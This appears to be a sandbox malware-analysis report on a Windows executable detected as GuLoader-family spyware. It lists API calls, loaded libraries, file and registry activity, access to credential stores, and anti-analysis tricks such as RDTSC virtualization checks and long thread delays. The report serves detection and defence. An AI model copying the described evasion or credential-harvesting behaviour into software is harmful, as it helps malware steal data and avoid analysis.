Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F429B8	5_2_38F429B8
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F4A9A0	5_2_38F4A9A0
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F42108	5_2_38F42108
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F45AB8	5_2_38F45AB8
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F45AA8	5_2_38F45AA8
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F43268	5_2_38F43268
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F43258	5_2_38F43258
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F45208	5_2_38F45208
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F413F0	5_2_38F413F0
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F443C8	5_2_38F443C8
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F46368	5_2_38F46368
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F4A352	5_2_38F4A352
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F46358	5_2_38F46358
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F47B4F	5_2_38F47B4F
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F43B18	5_2_38F43B18
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F43B08	5_2_38F43B08
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F474C8	5_2_38F474C8
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F41CB0	5_2_38F41CB0
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F474B8	5_2_38F474B8
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F41CA0	5_2_38F41CA0
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F46C18	5_2_38F46C18
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F41400	5_2_38F41400
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F46C09	5_2_38F46C09
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F44DB0	5_2_38F44DB0
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F44DB2	5_2_38F44DB2
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F42560	5_2_38F42560
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F4255F	5_2_38F4255F
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F49D00	5_2_38F49D00
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F436C0	5_2_38F436C0
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F436C2	5_2_38F436C2
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F496B8	5_2_38F496B8
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F45660	5_2_38F45660
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F4565F	5_2_38F4565F
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F48640	5_2_38F48640
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F42E10	5_2_38F42E10
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F42E00	5_2_38F42E00
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F4AFF7	5_2_38F4AFF7
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F4AFF8	5_2_38F4AFF8
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F467C0	5_2_38F467C0
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F467B0	5_2_38F467B0
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F40FA8	5_2_38F40FA8
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F40F98	5_2_38F40F98
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F43F70	5_2_38F43F70
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F43F72	5_2_38F43F72
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38F45F10	5_2_38F45F10
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_39476FA0	5_2_39476FA0
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_3947E790	5_2_3947E790
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_3947D608	5_2_3947D608
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_39478328	5_2_39478328

Source: C:\Users\user\Desktop\czHx16QwGQ.exe

Code function: String function: 00402C41 appears 49 times

Source: czHx16QwGQ.exe, 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs czHx16QwGQ.exe
Source: czHx16QwGQ.exe, 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs czHx16QwGQ.exe
Source: czHx16QwGQ.exe, 00000005.00000002.2725015307.0000000005C13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs czHx16QwGQ.exe
Source: czHx16QwGQ.exe, 00000005.00000002.2745276565.0000000035F97000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs czHx16QwGQ.exe
Source: czHx16QwGQ.exe	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs czHx16QwGQ.exe

Source: czHx16QwGQ.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/8@5/5

Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 0_2_004034A5 EntryPoint,LdrInitializeThunk,SetErrorMode,GetVersion,lstrlenA,LdrInitializeThunk,#17,OleInitialize,LdrInitializeThunk,SHGetFileInfoW,GetCommandLineW,CharNextW,LdrInitializeThunk,GetTempPathW,LdrInitializeThunk,GetTempPathW,GetWindowsDirectoryW,lstrcatW,LdrInitializeThunk,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,LdrInitializeThunk,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,LdrInitializeThunk,ExitWindowsEx,ExitProcess,		0_2_004034A5
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_004034A5 EntryPoint,LdrInitializeThunk,SetErrorMode,GetVersion,lstrlenA,LdrInitializeThunk,#17,OleInitialize,LdrInitializeThunk,SHGetFileInfoW,GetCommandLineW,CharNextW,LdrInitializeThunk,GetTempPathW,LdrInitializeThunk,GetTempPathW,GetWindowsDirectoryW,lstrcatW,LdrInitializeThunk,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,LdrInitializeThunk,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,LdrInitializeThunk,ExitWindowsEx,ExitProcess,		5_2_004034A5

Source: C:\Users\user\Desktop\czHx16QwGQ.exe

Code function: 0_2_00404850 GetDlgItem,SetWindowTextW,LdrInitializeThunk,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,LdrInitializeThunk,MulDiv,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,SetDlgItemTextW,

0_2_00404850

Source: C:\Users\user\Desktop\czHx16QwGQ.exe

Code function: 0_2_00402104 LdrInitializeThunk,CoCreateInstance,LdrInitializeThunk,LdrInitializeThunk,

0_2_00402104

Source: C:\Users\user\Desktop\czHx16QwGQ.exe

File created: C:\Users\user\AppData\Local\Iw

Jump to behavior

Source: C:\Users\user\Desktop\czHx16QwGQ.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\czHx16QwGQ.exe

File created: C:\Users\user\AppData\Local\Temp\nsfC823.tmp

Jump to behavior

Source: czHx16QwGQ.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\czHx16QwGQ.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\czHx16QwGQ.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000362C4000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000362B8000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.0000000036295000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.00000000362A3000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2745533594.0000000036285000.00000004.00000800.00020000.00000000.sdmp, czHx16QwGQ.exe, 00000005.00000002.2746715571.00000000371CD000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: czHx16QwGQ.exe	Virustotal: Detection: 74%
Source: czHx16QwGQ.exe	ReversingLabs: Detection: 63%

Source: C:\Users\user\Desktop\czHx16QwGQ.exe

File read: C:\Users\user\Desktop\czHx16QwGQ.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\czHx16QwGQ.exe "C:\Users\user\Desktop\czHx16QwGQ.exe"
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process created: C:\Users\user\Desktop\czHx16QwGQ.exe "C:\Users\user\Desktop\czHx16QwGQ.exe"
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process created: C:\Users\user\Desktop\czHx16QwGQ.exe "C:\Users\user\Desktop\czHx16QwGQ.exe"	Jump to behavior

Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\czHx16QwGQ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\czHx16QwGQ.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: czHx16QwGQ.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.2176225336.00000000050E2000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\czHx16QwGQ.exe

Code function: 0_2_73961B5F LdrInitializeThunk,GlobalAlloc,LdrInitializeThunk,LdrInitializeThunk,lstrcpyW,lstrcpyW,GlobalFree,LdrInitializeThunk,GlobalFree,GlobalFree,GlobalFree,GlobalFree,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,GlobalFree,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,lstrcpyW,LdrInitializeThunk,LdrInitializeThunk,GetModuleHandleW,LdrInitializeThunk,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_73961B5F

Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_0016A487 push dword ptr [ebp+ecx-75h]; retf	5_2_0016A492
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_0016A4F9 push dword ptr [ebp+ebx-75h]; iretd	5_2_0016A4FD
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_38366A04 pushfd ; retf	5_2_38366A05
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_3836AF7F push esi; retf	5_2_3836AF80
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_383677DC push edx; retf	5_2_383677EB

Source: C:\Users\user\Desktop\czHx16QwGQ.exe

File created: C:\Users\user\AppData\Local\Temp\nsqC9EA.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\czHx16QwGQ.exe	API/Special instruction interceptor: Address: 519DD00
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	API/Special instruction interceptor: Address: 363DD00

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\czHx16QwGQ.exe	RDTSC instruction interceptor: First address: 5163598 second address: 5163598 instructions: 0x00000000 rdtsc 0x00000002 test bl, 0000000Bh 0x00000005 cmp ebx, ecx 0x00000007 jc 00007F15F0EFAC40h 0x00000009 cmp eax, 78351A3Bh 0x0000000e inc ebp 0x0000000f inc ebx 0x00000010 test ecx, edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	RDTSC instruction interceptor: First address: 3603598 second address: 3603598 instructions: 0x00000000 rdtsc 0x00000002 test bl, 0000000Bh 0x00000005 cmp ebx, ecx 0x00000007 jc 00007F15F0767E90h 0x00000009 cmp eax, 78351A3Bh 0x0000000e inc ebp 0x0000000f inc ebx 0x00000010 test ecx, edx 0x00000012 rdtsc

Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Memory allocated: 120000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Memory allocated: 361A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Memory allocated: 360A0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 599221	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 599095	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 598962	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 598777	Jump to behavior
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Thread delayed: delay time: 598671	Jump to behavior
